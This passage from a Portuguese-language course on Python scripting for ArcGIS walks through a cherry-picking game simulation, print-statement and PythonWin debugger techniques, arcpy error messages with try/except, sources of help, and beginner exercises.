cerejas com base no resultado • Certifique-se de que o número de cerejas esteja entre 0 e 10 • Imprima o número de cerejas na árvore • Vá para a próxima rodada ou imprima o número de jogadas que levou para ganhar o jogo Também ajuda listar as variáveis que você precisará: • Número de cerejas atualmente na árvore (começa em 10) • Número de jogadas realizadas (começa em 0) • Valor da roleta (Aleatório) Vamos tentar abordar cada uma das etapas do pseudocódigo. Não se preocupe com o fluxo total do script ainda. Em vez disso, tente entender como cada etapa do problema deve ser resolvido com o código. Montar os blocos de código no final é relativamente trivial. Gire a roleta Como você simula um giro aleatório? Em um dos nossos exemplos anteriores, usamos o módulo aleatório para gerar um número aleatório dentro de um intervalo de inteiros; no entanto, as escolhas nesta roleta não são lineares. Uma boa abordagem aqui é armazenar todas as possibilidades em uma lista e usar o gerador de números aleatórios para escolher o índice para uma das possibilidades. Por si só, o código ficaria assim: 64 import random valoresRoleta = [-1, -2, -3, -4, 2, 2, 10] roletaIndex = random.randrange(0, 7) resultadoRoleta = valoresRoleta[roletaIndex] A lista valoresRoleta contém todos os resultados possíveis de uma rodada (remova 1 cereja, remova 2 cerejas, etc.). O valor final 10 representa o balde derramado (colocando todas as cerejas de volta na árvore). Você precisa escolher um valor aleatório fora desta lista para simular um giro. A variável roletaIndex representa um inteiro aleatório de 0 a 6, que é o índice do item que você retirará da lista. Por exemplo, se roletaIndex for 2, seu resultado da roleta é -3 (remova 3 cerejas da árvore). O valor é atribuído a variável resultadoRoleta. O método random.randrange() é usado para selecionar os números aleatórios. No início do seu script, você precisa importar o módulo random para usar esse método. Imprima o resultado da roleta Depois de obter um resultado, basta uma linha de código para imprimi-lo. Você terá que usar o método str() para convertê-lo em uma string. print ("Você tirou" + str(resultadoRoleta) + ".") Adicione ou remova cerejas com base no resultado Como mencionado acima, você precisa ter alguma variável para acompanhar o número de cerejas na sua árvore. Essa é uma daquelas variáveis que o nome precisa ser intuitivo: cerejasNaArvore = 10 Depois de completar um “giro” da roleta, você precisa modificar essa variável com base no resultado. Lembre-se de que o resultado é mantido na variável resultadoRoleta e que um resultado negativo remove as cerejas da sua árvore. Então, seu código para modificar o número de cerejas na árvore seria semelhante a: cerejasNaArvore + = resultadoRoleta Certifique-se de que o número de cerejas esteja entre 0 e 10 Se você ganhar o jogo você tem 0 cerejas. Você não precisa atingir exatamente 0, mas não faz sentido dizer que você tem cerejas negativas. Da mesma forma, você pode tirar na roleta o balde derramado, que por simplicidade representamos com 10 positivos em valoresRoleta. Você não tem permissão para ter mais de 10 cerejas na árvore. Uma simples estrutura de decisão if / elif pode ajudá-lo a manter o valor de cerejasNaArvore entre 0 e 10: if cerejasNaArvore > 10: cerejasNaArvore = 10 elif cerejasNaArvore <0: cerejasNaArvore = 0 Isso significa que, se você acabar com mais de 10 cerejas na árvore, defina cerejasNaArvore de volta para 10. Se você acabar com menos de 0 cerejas, defina cerejasNaArvore como 0. 65 Imprima o número de cerejas na árvore Tudo o que você precisa fazer para essa etapa é imprimir sua variável cerejasNaArvore, convertendo-a em uma string para que ela possa ser inserida em uma frase. print ("Você tem" + str (cerejasNaArvore) + "cerejas na sua árvore.") Jogue outra vez ou imprima o número de jogadas que levou para ganhar o jogo Você provavelmente previu que teria que descobrir uma maneira de fazer várias jogadas. Este é o cenário perfeito para um loop. Qual é a condição do loop? Tem que haver algumas cerejas na árvore para começar outra jogada, então você pode começar o loop desta maneira: while cerejasNaArvore > 0: Muito do código que escrevemos acima entraria no loop para simular uma jogada. Como precisamos acompanhar o número de jogadas realizadas, no final do loop, precisamos incrementar um contador: jogadas + = 1 Essa variável teria que ser inicializada no início do script, antes do loop. Este código pode imprimir o número de jogadas ao final do jogo: print ("Demorou" + str (jogadas) + " para ganhar o jogo.") Código final Sua única tarefa restante é reunir os códigos acima em um script. Abaixo está um exemplo de como o script final ficaria. Copie isso em um novo script PythonWin e tente executá-lo: # Simulando o jogo Hi Ho! Cherry-O import random valoresRoleta = [-1, -2, -3, -4, 2, 2, 10] jogadas = 0 cerejasNaArvore = 10 # Realize uma jogada enquanto houver cerejas na árvore while cerejasNaArvore > 0: # Rode a roleta roletaIndex = random.randrange(0, 7) resultadoRoleta = valoresRoleta[roletaIndex] # Print o resultado da roleta print ("Você tirou " + str(resultadoRoleta) + ".") 66 # Adicione ou remova cerejas com base no resultado cerejasNaArvore += resultadoRoleta # Número de cerejas deve estar entre 0 e 10 if cerejasNaArvore > 10: cerejasNaArvore = 10 elif cerejasNaArvore < 0: cerejasNaArvore = 0 # Print o número de cerejas na árvore print ("Você tem " + str(cerejasNaArvore) + " cerejas.") jogadas += 1 # Print o número de jogadas para vencer o jogo print ("Você precisou de " + str(jogadas) + " para vencer.") lastline = raw_input(">") Análise do código final Revise o código final de perto e considere as seguintes coisas. A primeira coisa que você faz é importar os módulos de suporte necessários, neste caso, o módulo random. Em seguida, você declara as variáveis que você usará ao longo do script. Cada variável tem um escopo, que determina o quanto ela é amplamente usada em todo o script. As variáveis valoresRoleta, jogadas e cerejasNaArvore são necessárias no script inteiro, portanto, elas são declaradas no início, fora do loop. As variáveis usadas em todo o seu programa como esse têm escopo global. Por outro lado, as variáveis roletaIndex e resultadoRoleta têm escopo local porque são usadas apenas dentro do loop. Cada vez que o loop é executado, essas variáveis são reinicializadas e seus valores mudam. Você poderia declarar a variável valoresRoleta dentro do loop e obter o mesmo resultado final, mas o desempenho seria mais lento porque a variável teria que ser reinicializada toda vez que você executasse o loop. Quando possível, você deve declarar variáveis fora dos loops por esse motivo. Se você tivesse declarado as variáveis jogadas ou cerejasNaArvore dentro do loop, seu código teria erros lógicos. Você estaria essencialmente começando o jogo novamente em cada jogada com 10 cerejas na sua árvore, tendo tomado 0 jogadas. Na verdade, você criaria um loop infinito porque não há como remover 10 cerejas durante uma jogada, e a condição de loop sempre seria avaliada como verdadeira. Novamente, tenha muito cuidado com o local em que você declara suas variáveis quando o script contém loops. Observe que o número total de jogadas é impresso fora do loop quando o jogo termina. A linha final lastline = raw_input (">") lhe retorna um cursor vazio solicitando uma entrada e é apenas um truque para garantir que o aplicativo não desapareça quando terminar (se você executar o script a partir de um console de comando). Resumo 67 No exemplo acima, você viu como listas, loops, estruturas de decisão e conversão de variáveis podem trabalhar juntos para ajudá-lo a resolver um desafio de programação. Você também aprendeu como abordar um problema de analisando uma tarefa de cada vez para depois montá-las em um script. Atividade de desafio Se a atividade acima fez você se entusiasmar em escrever algum programa, pegue o script acima e tente encontrar o número médio de jogadas necessárias para vencer um jogo de Hi-Ho! Cherry-O. Para fazer isso, adicione outro loop que execute o jogo um grande número de vezes, digamos 10000. Você precisará registrar o número total de turnos necessários para vencer todos os jogos e dividir pelo número de jogos (use "/" para a divisão). Você também poderia incluir outros jogadores e alternar as jogadas entre eles. Solução de problemas e obtenção de ajuda Se você acha que escrever um código é um processo lento, mistificado e meticuloso, repleto de todos os tipos de oportunidades para cometer erros, seja bem-vindo ao mundo de um programador! Talvez para seu desgosto, os programadores passam a maior parte do tempo procurando e consertando bugs. Os programadores também precisam expandir e adaptar continuamente suas habilidades para trabalhar com novas linguagens e tecnologias, o que requer pesquisa, prática e muito tentativa e erro. Os melhores candidatos para trabalhos de engenharia de software não são aqueles que listam a maioria das linguagens ou siglas em seus currículos. Em vez disso, os candidatos mais desejados são os autossuficientes, o que significa que sabem aprender coisas novas e encontrar respostas para os problemas por conta própria. Isso não significa que eles nunca peçam ajuda; pelo contrário, um bom programador sabe quando parar de bater a cabeça contra a parede e consultar os colegas em busca de conselhos. No entanto, a maioria dos problemas cotidianos pode ser resolvida usando a documentação de ajuda, exemplos de códigos online, fóruns on-line, códigos existentes que funcionam, livros de programação e ferramentas de depuração no software. Suponha que você esteja em uma entrevista de emprego e seu possível empregador pergunte: "O que você faz quando encontra uma 'parede de tijolos' ao programar? Para quais fontes você primeiro procura ajuda?" Se você responder "Meu supervisor" ou "Meus colegas de trabalho", isso é uma bandeira vermelha, significando que você pode representar um potencial custo de tempo para a equipe de desenvolvimento. Embora os problemas mais difíceis exijam colaboração em grupo, uma equipe de desenvolvimento de software competitiva não pode se dar ao luxo de "segurar a mão" de um funcionário em todas as questões que encontra. Muitos dos candidatos mais convincentes respondem a essa pergunta: "Google". Eles sabem que a maioria dos problemas de programação, embora irritantes, são comuns e a resposta pode estar ao alcance dos seus dedos em menos de 30 segundos por meio de uma pesquisa na Internet bem formulada. Nesta seção, você aprenderá sobre lugares em que pode encontrar ajuda ao trabalhar com o Python e ao programar em geral. Você terá uma experiência muito mais fácil neste curso se lembrar desses recursos e usá-los para concluir suas tarefas. 68 Problemas potenciais e diagnóstico rápido O segredo da programação bem-sucedida é a experiência e não ter medo de errar quando você executa o código pela primeira vez. Depurar, ou encontrar erros no código, faz parte da vida dos programadores. Aqui estão algumas coisas que podem acontecer: • Seu código não roda, geralmente por causa de um erro de sintaxe (você digitou algum código ilegal do Python). • Seu código é executado, mas o script não é concluído e relata um erro. • Seu código é executado, mas o script nunca é concluído. Muitas vezes isso ocorre quando você criou um loop infinito. • Seu código é executado e o script é concluído, mas não fornece o resultado esperado. Isso é chamado de erro lógico e geralmente é o tipo de erro que exige mais esforço para depurar. Não tenha medo de erros Erros acontecem. Existem muito poucos programadores que podem se sentar e, acima de tudo, escrever dezenas de linhas de código livre de bugs. Isso significa algumas coisas para você: • Espere gastar algum tempo lidando com erros durante o processo de construção de scripts. Os programadores iniciantes às vezes subestimam quanto tempo isso leva. Para obter uma estimativa inicial, você pode considerar o tempo necessário para elaborar suas linhas de código, duplicá-lo ou triplicá-lo para acomodar o tratamento de erros e o polimento final do script e da ferramenta. • Não tenha medo de executar seu script e consertar os erros. Uma boa estratégia é escrever uma pequena parte da funcionalidade, executá-la para garantir que ela funcione e, em seguida, adicionar a próxima peça. Por uma questão de discussão, vamos supor que, como um novo programador, você introduza um novo bug uma vez a cada 10 linhas de código. É muito mais fácil encontrar um único bug em 10 novas linhas de código do que encontrar 5 bugs em 50 novas linhas de código. Se você estiver construindo seu script bloco por bloco e depurando com frequência, poderá fazer uma avaliação mais rápida e precisa de onde introduziu novos erros. Captura de erros de sintaxe Erros de sintaxe ocorrem quando você digita algo incorretamente e seu código se recusa a executar. Erros comuns de sintaxe incluem o esquecimento de dois pontos ao definir um loop ou uma condição if, usando barras invertidas simples em um nome de arquivo, fornecendo o número errado de argumentos a uma função ou tentando misturar tipos de variáveis incorretamente, como dividir um número por uma string. Quando você tenta executar código com um erro de sintaxe no PythonWin, talvez não perceba nada acontecer. Na parte inferior da janela, procure uma mensagem como "Falha ao executar script - erro de sintaxe - sintaxe inválida" ("Failed to run script - syntax error - invalid syntax"). Às vezes a mensagem é mais clara. Por exemplo, se você recuar uma linha apenas três espaços em vez de quatro, verá: "Falha ao executar script - erro de sintaxe - recuo inesperado" ("Failed to run script - syntax error - unexpected indent"). 69 Você pode verificar erros de sintaxe antes de executar seu código usando o botão Check na barra de ferramentas Standard do PythonWin. Esse botão verifica se há erros e os relata em uma pequena mensagem na parte inferior da janela, assim como você veria se tentasse executar seu código com um erro de sintaxe. Se não houver erros, você verá uma mensagem como "O Python e o TabNanny verificaram com êxito o arquivo 'myScript.py'" (O TabNanny é um módulo que o PythonWin usa para verificar a identação correta). Lidando com falhas Se o seu código falhar, você poderá ver uma mensagem de erro na Janela Interativa ou no console. Em vez de bater a cabeça contra a mesa, você deve se alegrar com o fato de que o software possivelmente relatou a você exatamente o que deu errado! Vasculhe a mensagem em busca de pistas sobre qual linha de código causou o erro e qual foi o problema. Faça isso mesmo se a mensagem parecer intimidante. Por exemplo, veja se você consegue entender o que causou essa mensagem de erro: Traceback (most recent call last): File "C:\Python27\Lib\site- packages\pythonwin\pywin\framework\scriptutils.py", line 310, in RunScript exec codeObject in __main__.__dict__ File "C:\PSU_Python_Practice\syntax_error_practice.py", line 4, in <module> x = x / 0 ZeroDivisionError: integer division or modulo by zero Embora a mensagem comece com algum conteúdo que você provavelmente não entende, é possível verificar que o erro foi causado na Linha 4: x = x / 0. A divisão por 0 não é possível e o computador não poderá fazê-lo. É mais fácil interpretar mensagens como essa se você exibiu números de linha para o seu código no PythonWin. Para obter os números de linha: • No PythonWin, clique em View > Options. • Clique na guia Editor. • Defina a propriedade de números de linha (Line Numbers) para um número maior, como 30. Os números de linha também são úteis se você fizer um e-mail ou postar em algum fórum sobre seu código e incluir o script. Você pode apontar imediatamente a linha erro para seus colegas. Depuração Ad-hoc Às vezes é fácil incluir algumas instruções de 'print' em todo o código para descobrir até onde ele executou ou para verificar o que está acontecendo com certos valores no script enquanto ele é executado. Isso também pode ser útil para verificar se seus loops estão fazendo o que você espera e se está evitando erros "off-by-one". Suponha que você esteja tentando encontrar o valor médio (médio) dos itens em uma lista com o código abaixo. 70 # Encontre a média dos itens numa lista lista = [22,343,73,464,90] for item in lista: total = 0 total += item media = total / len(lista) print ("A média é " + str(media)) O script informa "A média é 18", o que não parece correto. A partir de uma rápida verificação visual dessa lista, você poderia imaginar que a média seria maior que 100. O script não está pegando erroneamente o número 18 da lista; não é um dos valores. Então, de onde vem isso? Você pode colocar algumas instruções estratégicas de impressão no script para obter um relatório melhor sobre o que está acontecendo: # Encontre a média dos itens numa lista lista = [22,343,73,464,90] for item in lista: print ("Processando o loop...") total = 0 total += item print (total) print (len(lista)) media = total / len(lista) print ("Executando a divisão...") print ("A média é " + str(media)) Agora, quando você executa o script, você vê. Processando o loop ... 22 Processando o loop ... 343 Processando o loop ... 73 Processando o loop ... 464 Processando o loop ... 90 5 Executando divisão ... Média é 18 O erro agora se torna mais claro. O total em execução não está sendo mantido com sucesso; em vez disso, ele é redefinido toda vez que o loop é executado. Isso faz com que o último valor, 90, seja dividido por 5, gerando uma resposta de 18. Você precisa inicializar 71 a variável para o total fora do loop para evitar que isso aconteça. Depois de corrigir o código e remover as instruções de impressão, você obtém: # Encontre a média dos itens numa lista lista = [22,343,73,464,90] total = 0 for item in lista: total += item media = total / len(lista) print ("A média é " + str(media)) O resultado "A média é 198" parece muito melhor. Você corrigiu um erro lógico no seu código: um erro que não faz o seu script falhar, mas produz o resultado errado. Embora a depuração com instruções de impressão seja rápida e fácil, você precisa ser cuidadoso com ela. Depois de corrigir seu código, lembre-se de remover as instruções para tornar seu código mais rápido e menos confuso. Além disso, adicionar instruções de impressão se torna impraticável para scripts longos ou complexos. Você pode identificar os problemas mais rapidamente e rastrear muitas variáveis ao mesmo tempo usando o depurador do PythonWin, que é abordado na próxima seção. Usando o depurador (debug) do PythonWin Às vezes, quando outras tentativas rápidas de depuração falham, você precisa dar uma olhada mais profunda em seu script. A maioria dos ambientes de desenvolvimento integrados (IDEs), como o PythonWin, inclui algumas ferramentas de depuração que permitem percorrer o script linha por linha para tentar encontrar um erro. Essas ferramentas permitem que você “fique de olho” no valor de todas as variáveis em seu script para verificar como elas reagem a cada linha de código. A barra de ferramentas de depuração pode ser uma boa maneira de detectar erros lógicos em que uma linha de código incorreta está impedindo que o seu script retorne o resultado correto. A barra de ferramentas de depuração também pode ajudá-lo a descobrir qual linha de código está causando uma falha. A melhor maneira de explicar os aspectos da depuração é trabalhar com um exemplo. Desta vez, vamos olhar para algum código que tenta calcular o fatorial de um inteiro (o inteiro é codificado para 5 neste caso). Na matemática, um fatorial é o produto de um inteiro e de todos os inteiros positivos abaixo dele. Assim, 5! (ou "5 fatorial") deve ser 5 * 4 * 3 * 2 * 1 = 120. O código abaixo tenta calcular um fatorial através de um loop que incrementa o multiplicador em 1 até atingir o inteiro original. Esta é uma abordagem válida, pois 1 * 2 * 3 * 4 * 5 também renderia 120. # Este script calcula o fatorial de um número # inteiro, que é o produto desse inteiro e de # todos os inteiros positivos menores que ele numero = 5 multiplicador = 1 while multiplicador < numero: numero *= multiplicador multiplicador += 1 72 print (numero) Mesmo que você consiga identificar o erro, siga os passos abaixo para ter uma idéia do processo de depuração e da barra de ferramentas Debugging do PythonWin. • Abra o PythonWin e copie o código acima em um novo script. • Salve seu script como fatorial.py. Você pode, opcionalmente, executar o script, mas não obterá um resultado e poderá ter que fechar o PythonWin para voltar ao local onde estava. • Clique em View > Toolbar e verifique se a opção Debugging está marcada. Muitos IDEs têm barras de ferramentas de depuração como essa, e as ferramentas que elas contêm são bastante padronizadas: uma maneira de executar o código, uma maneira de definir pontos de interrupção, uma maneira de percorrer o código linha por linha e uma maneira de observar o valor das variáveis enquanto percorre-se o código. Vamos analisar cada uma delas nas etapas abaixo. • Defina o seu cursor na linha (numero = 5) e clique no botão Toggle Breakpoint . Um ponto de interrupção é um local onde você deseja que seu código pare de ser executado para que você possa examiná-lo linha por linha usando o depurador. Muitas vezes, você definirá um ponto de interrupção no meio do script para não precisar examinar cada linha de código. Neste exemplo, o script é muito curto, então estamos colocando o ponto de interrupção no começo. O ponto de interrupção é representado por um círculo ao lado da linha de código e isso é comum em outros depuradores também. • Pressione o botão Go . Isso executa seu script até o ponto de interrupção. Agora você tem uma pequena seta amarela indicando qual linha do script você está prestes a executar. • Clique no botão Watch . O que é comumente conhecido como janela de observação é exibido. Isso ajudará você a acompanhar o que acontece com suas variáveis à medida que você executa o código linha por linha. Antes de executar qualquer outro código, no entanto, você precisa informar à janela de observação quais variáveis rastrear. • Na coluna Expression da janela de observação, clique duas vezes em <New Item> e digite o nome da sua primeira variável "numero" (omita as aspas). Na coluna Value, você verá "NameError: name 'numero' is not defined." Isso faz sentido porque você ainda não executou a linha de código que cria essa variável. • Semelhante à etapa anterior, clique novamente em <New Item> e configure para a variável "multiplicador". Você deve obter o mesmo erro sobre a variável ainda não estar definida. • Clique no botão Step . Isso executa uma linha do seu código. Observe na sua janela de observação que a variável "numero" agora tem um valor de 5. • Clique no botão Step novamente. Desta vez, a variável "multiplicador" foi atribuída a um valor. • Clique no botão Step mais algumas vezes para percorrer o loop. Vá devagar e use a janela de observação para entender o efeito que cada linha tem nas duas variáveis. 73 • Percorra o loop até que "multiplicador" atinja um valor de 10. Deve ficar óbvio, neste ponto, que o loop não saiu no ponto desejado. Nossa intenção era que ele desistisse quando "numero" chegasse a 120. • Você consegue identificar o erro agora? O fato de o loop não ter saído deve chamar sua atenção para a condição de loop. O loop só sairá quando "multiplicador" for maior que ou igual a "numero". Obviamente, isso nunca acontecerá, já que "numero" continua ficando maior e maior à medida que é multiplicado a cada vez por meio do loop. Neste exemplo, o código continha um erro lógico. Ele reutilizou a variável para a qual desejamos encontrar o fatorial (5) como uma variável na condição de loop, sem considerar que o número seria repetidamente aumentado dentro do loop. Alterar a condição de loop para o seguinte faria com que o script funcionasse: while multiplicador <5: Melhor ainda do que codificar o valor 5 nessa linha seria inicializar uma variável inicial e configurá-la como igual ao número cujo fatorial queremos localizar. O número pode então ser multiplicado independentemente da variável de condição de loop. • Feche o PythonWin e abra novamente para um novo script. Cole o código abaixo e salve o script como fatorial2.py. # Este script calcula o fatorial de um número # inteiro, que é o produto desse inteiro e de # todos os inteiros positivos menores que ele number = 5 loopStop = numero multiplicador = 1 while multiplicador < loopStop: numero *= multiplicador multiplicador += 1 print (numero) • Exiba a barra de ferramentas Debugging e percorra o loop algumas vezes, como fez anteriormente. Observe os valores das variáveis "numero" e "multiplicador", mas, desta vez, adicione também a variável "loopStop". Essa variável permite que a condição de loop permaneça constante enquanto "numero" é multiplicado. Na verdade, você deve ver "loopStop" permanecer fixo em 5, enquanto "numero" aumenta para 120. • Continue avançando até que "numero" atinja 120 e você atinja a linha "print(numero)". Nesta linha, não pressione o botão Step; em vez disso, basta pressionar Go para finalizar o script. (Você não quer percorrer todo o código Python interno necessário para imprimir a variável.) Nesse ponto, o valor de "numero" deve ser 120, que é 5 fatorial. Se você quiser, você pode tentar substituir outros inteiros como o valor de "numero" para encontrar seus fatoriais. No exemplo acima, você usou a barra de ferramentas Depuração para localizar um erro lógico que causou um loop infinito em seu código. As ferramentas de depuração geralmente são seu melhor recurso para localizar erros sutis em seu código. Se você acessar uma função interna do Python, como “print”, enquanto estiver usando o Debug, o depurador irá adentrar diretamente em todo o código Python necessário para executar a função. Você saberá quando isso acontecer, porque você verá uma ou mais janelas abertas com códigos difíceis de entender. Este também é o caso, por vezes, quando você executa funções arcpy. O problema é agravado porque esse tipo de código tende a chamar outras funções, o que acaba abrindo muitas janelas. 74 Se você não quiser ver todo esse código, pode tentar o atalho usando o botão Steo Over para pular uma função complexa ou Step Out para sair da função. Se percorrer todo esse código é muito confuso, você pode definir outro ponto de interrupção uma ou duas linhas além da linha com a função e apenas pressionar o botão Go novamente para executar até o próximo ponto de interrupção. Quando você pressiona o botão Go, o depurador não pára até atingir o próximo ponto de interrupção. Você pode e deve praticar usando a barra de ferramentas de depuração nas tarefas que você recebe neste curso. Você pode economizar muito tempo dessa forma. Leituras Leia Zandbergen 11.1 - 11.5 para obter dicas para depuração. Em seguida, leia 11.11 e consulte na seção sobre depuração uma lista de verificação para revisar toda vez que você encontrar um problema em seu código. Imprimindo mensagens da estrutura de geoprocessamento da ESRI Quando você trabalha com ferramentas de geoprocessamento em Python, às vezes o script poderá falhar porque algo deu errado com a ferramenta. Pode ser que você tenha escrito uma sintaxe Python perfeita, mas seu script não funciona como esperado porque as ferramentas de geoprocessamento da ESRI não conseguem encontrar um conjunto de dados ou acessar um parâmetro da ferramenta. Você não será capaz de encontrar esses erros com o depurador, mas poderá obter uma visualização deles imprimindo as mensagens retornadas da estrutura de geoprocessamento da ESRI. A ESRI configurou suas ferramentas de geoprocessamento para relatar com frequência o que estão fazendo. Quando você executa uma ferramenta de geoprocessamento a partir do ArcMap ou ArcCatalog, você vê uma caixa com essas mensagens, às vezes acompanhada por uma barra de progresso. Você aprendeu na etapa 1 que pode usar o arcpy.GetMessages() para acessar essas mensagens no seu script. Se você quiser apenas ver as mensagens quando algo der errado, você pode incluí-las em um bloco de código, como este. try: . . . except: print (arcpy.GetMessages()) Lembre-se que ao usar try / except, no caso normal, o Python executará tudo no try- block (= tudo seguindo o "try:" que está recuado em relação a ele) e então continuará após o except-block (= tudo seguindo o "except:" que está recuado em relação a ele). No entanto, se algum comando no bloco try falhar, a execução do programa salta diretamente para o início do bloco except e, nesse caso, imprime as mensagens que recebemos de arcpy.GetMessages(). Depois que o bloco de exceções for executado, o Python continuará com a próxima instrução após o bloco de exceções. As mensagens de geoprocessamento têm três níveis de gravidade: Mensagem, Aviso e Erro. Você pode passar um índice para o método arcpy.GetMessages() para filtrar apenas as mensagens que atingem um determinado nível de gravidade. Por exemplo, 75 arcpy.GetMessages(2) retornaria apenas as mensagens com uma gravidade de "Erro". Mensagens de erro e aviso às vezes incluem um código exclusivo que você pode usar para procurar mais informações sobre a mensagem. A Ajuda do ArcGIS Desktop contém tópicos que listam os códigos de mensagem e fornecem detalhes sobre cada um deles. Algumas das entradas têm dicas para corrigir o problema. Try / except pode ser usado de várias maneiras e em diferentes níveis de identação em um script. Por exemplo, você pode ter um único try / except como no exemplo acima, onde o try-block contém toda a funcionalidade do seu programa. Se algo der errado, o script exibirá uma mensagem de erro e será encerrado. Em outras situações, convém dividir o código principal em partes diferentes, cada uma contida por sua própria try / except para lidar com os problemas específicos que podem ocorrer nessa parte do código. Por exemplo, a seguinte estrutura pode ser usada em um script em lote que realiza duas operações de geoprocessamento diferentes em um conjunto de shapefiles quando uma tentativa deve ser feita para executar a segunda operação, mesmo se a primeira falhar. for featureClass in fcList: try: . . . # realizar operação de geoprocessamento 1 except: . . . # lidar com falha de operação de geoprocessamento 1 try: . . . # realizar operação de geoprocessamento 2 except: . . . # lidar com falha de operação de geoprocessamento 2 Vamos supor que a primeira operação de geoprocessamento falhe para o primeiro shapefile em fcList. Como resultado, a execução do programa irá para o primeiro bloco except que contém o código para lidar com esta situação de erro. No caso mais simples, apenas produzirá algumas mensagens de saída. Depois que o bloco-except foi executado, a execução do programa continuará normal ao passar para a segunda instrução try / except e tentar executar a segunda operação de geoprocessamento. Ou este é bem-sucedido ou falha também, caso em que o segundo bloco except será executado. A última coisa a notar é que, já que ambas as instruções try / except estão contidas no corpo do loop for, a instrução segue pelos diferentes shapefiles da lista, mesmo que ambas as operações falhem em um dos arquivos. Leitura adicional Dê uma olhada na documentação oficial do ArcGIS para mais detalhes sobre mensagens de geoprocessamento. Não deixe de ler estes tópicos: Entendendo os tipos e a gravidade das mensagens (http://desktop.arcgis.com/en/arcmap/latest/analyze/python/message-types-and- severity.htm) Entendendo os erros e avisos da ferramenta de geoprocessamento (https://pro.arcgis.com/en/pro-app/tool-reference/appendices/understanding- geoprocessing-tool-errors-and-warnings.htm) Este é o gateway na seção de referência de erro e aviso da ajuda que explica todos os códigos de erro. Às vezes, você verá esses códigos nas mensagens recebidas e o tópico de ajuda específico do código pode ajudá-lo a entender o que deu errado. O artigo também fala 76 sobre como você pode capturar determinadas condições em seus próprios scripts e fazer com que códigos de erro específicos apareçam. Outras fontes de ajuda Além das abordagens acima, existem muitos outros lugares onde você pode obter ajuda. Alguns deles são descritos abaixo. Se você é iniciante em programação, saber que esses recursos existem e como usá-los pode ajudá-lo a se sentir mais confiante. Encontre os que você prefira e retorne a eles com frequência. Esse hábito ajudará você a se tornar um programador autossuficiente e aprimorará seu potencial para aprender qualquer nova linguagem de programação ou tecnologia. Aproveitar os recursos abaixo requer tempo e esforço. Muitas pessoas não gostam de vasculhar a documentação do computador, e isso é compreensível. No entanto, você pode economizar tempo se procurar a resposta em vez de esperar que alguém o ajude. Melhor ainda, você terá aprendido algo novo a partir de sua própria experiência, e as coisas que aprender dessa maneira serão muito mais fáceis de lembrar no futuro. Fontes de ajuda Motores de busca (search engines) Os mecanismos de pesquisa são úteis para respostas rápidas e problemas obscuros. Você esqueceu a sintaxe de um loop? A solução mais rápida pode ser o Google, pesquise "for loop python" ou "while loop python" e examine um dos muitos exemplos de código retornados. Os mecanismos de pesquisa são extremamente úteis para diagnosticar mensagens de erro. Pesquise a mensagem de erro entre aspas e você pode ler as experiências de outras pessoas que tiveram o mesmo problema. Se você não conseguir respostas suficientes, remova as aspas para ampliar a pesquisa. Um risco que você corre de pesquisas on-line é encontrar informações irrelevantes. Ainda mais perigoso é usar estas informações irrelevantes. Pesquise qualquer amostra de código para se certificar de que é aplicável à versão do Python que você está usando. Algumas sintaxes no Python 3.x são diferentes do Python 2.x que você está usando neste curso. Ajuda on-line da ESRI A Esri mantém todo o sistema de ajuda on-line e você encontrará a maioria dos tópicos de script na seção arcpy . Outra seção, que você deve visitar repetidamente, é a Referência de Ferramentas (tool Reference), que descreve todas as ferramentas da caixa de ferramentas e contém exemplos de script Python para cada uma. Se você está tendo problemas para entender quais parâmetros entram ou saem de uma ferramenta, ou se você está recebendo um erro de volta da própria estrutura de geoprocessamento, tente a Referência de Ferramenta antes de fazer uma busca aleatória na Internet. Ajuda on-line do Python A documentação oficial do Python está disponível online. Algumas delas são muito detalhadas e têm o tom de serem escritas por programadores para programadores. A parte que você provavelmente achará mais útil é a referência da Python Standard Library , que é 77 um bom lugar para aprender sobre os módulos do Python, como "os", "csv", "math" ou "random". Livros impressos O livro texto Python Scripting for ArcGIS é uma introdução bem escrita para o que o título diz: trabalhar com o ArcGIS usando Python. Existem alguns outros livros que começaram a aparecer sobre este assunto e eu antecipo que haverá mais. Uma boa referência geral do Python é o Learning Python, de Mark Lutz. Ele cobre tópicos iniciantes e avançados, então não se preocupe se algumas partes dele parecerem intimidadoras. Fóruns ESRI e outros fóruns online Os fóruns Esri são um lugar onde você pode fazer perguntas para outros usuários de software ESRI, ou ler sobre problemas encontrados por outros usuários que podem ser semelhantes aos seus. Existe um fórum do ESRI sobre Python relacionado a scripts com o ArcGIS, e também um fórum mais geral de Geoprocessamento que você pode achar útil. https://community.esri.com/community/developers/gis-developers/python https://community.esri.com/community/gis/analysis/geoprocessing Antes de postar uma pergunta nos fóruns da ESRI, faça uma pequena pesquisa para se certificar de que a pergunta ainda não foi respondida, pelo menos recentemente. Existem muitos outros fóruns on-line que abordam questões de programação ou SIG. Você os verá por toda a Internet se fizer uma pesquisa no Google sobre como fazer algo no Python. O Stack Exchange é um exemplo de um fórum técnico bem explorado, leve em anúncios, que permite aos leitores promover ou rebaixar respostas, dependendo de sua utilidade. Um de seus sites filho, o GIS Stack Exchange, trata especificamente de problemas de SIG e cartografia. http://gis.stackexchange.com/ Se você postar em fóruns on-line, forneça informações detalhadas sobre o problema e liste o que já experimentou. Declare o problema em um sentido geral e foque no código do problema. Exercícios Práticos – etapa 2 Antes de tentar começar o Projeto 2, você pode tentar alguns exercícios práticos simples, especialmente se os conceitos desta lição forem novos para você. Lembre-se de escolher File> New no PythonWin para criar um novo script. Você pode nomear os scripts como preferir. Para executar um script no PythonWin, clique no ícone "running man". 78 Exercício 1: Encontrar os espaços em uma lista de nomes Os objetos String do Python têm um método de índice que permite encontrar uma substring na string maior. Por exemplo, se eu tivesse uma variável definida como nome = "Joe Paterno" e se guisse com a expressão nome.index ("Pa") , ela retornaria o valor 4 porque a substring "Pa" começa no caractere 4 no string mantida em nome. (O primeiro caractere em uma string está na posição 0.) Para este exercício prático, comece criando uma lista de nomes como o seguinte: beatles = ["John Lennon", "Paul McCartney", "Ringo Starr", "George Harrison"] Em seguida, escreva um código que percorrerá todos os itens da lista, imprimindo uma mensagem como a seguinte: "Há um espaço no nome de ________ na posição ____." onde o primeiro espaço em branco é preenchido com o nome atualmente sendo processado pelo loop e o segundo espaço em branco é preenchido com a posição do primeiro espaço no nome conforme retornado pelo método de índice. (Você deve obter valores de 4, 4, 5 e 6, respectivamente, para os itens da lista acima.) Você pode começar configurando um loop e simplesmente imprimindo cada nome. Se você fizer isso funcionar, veja se consegue simplesmente imprimir as posições do espaço. Depois de conseguir isso, tente colocar o nome e as posições de espaço na mensagem maior. Exercício 2: Converter os nomes para um formato "Sobrenome, Nome" Construa um script a partir da lista do exercício anterior que imprima cada nome na lista no seguinte formato: 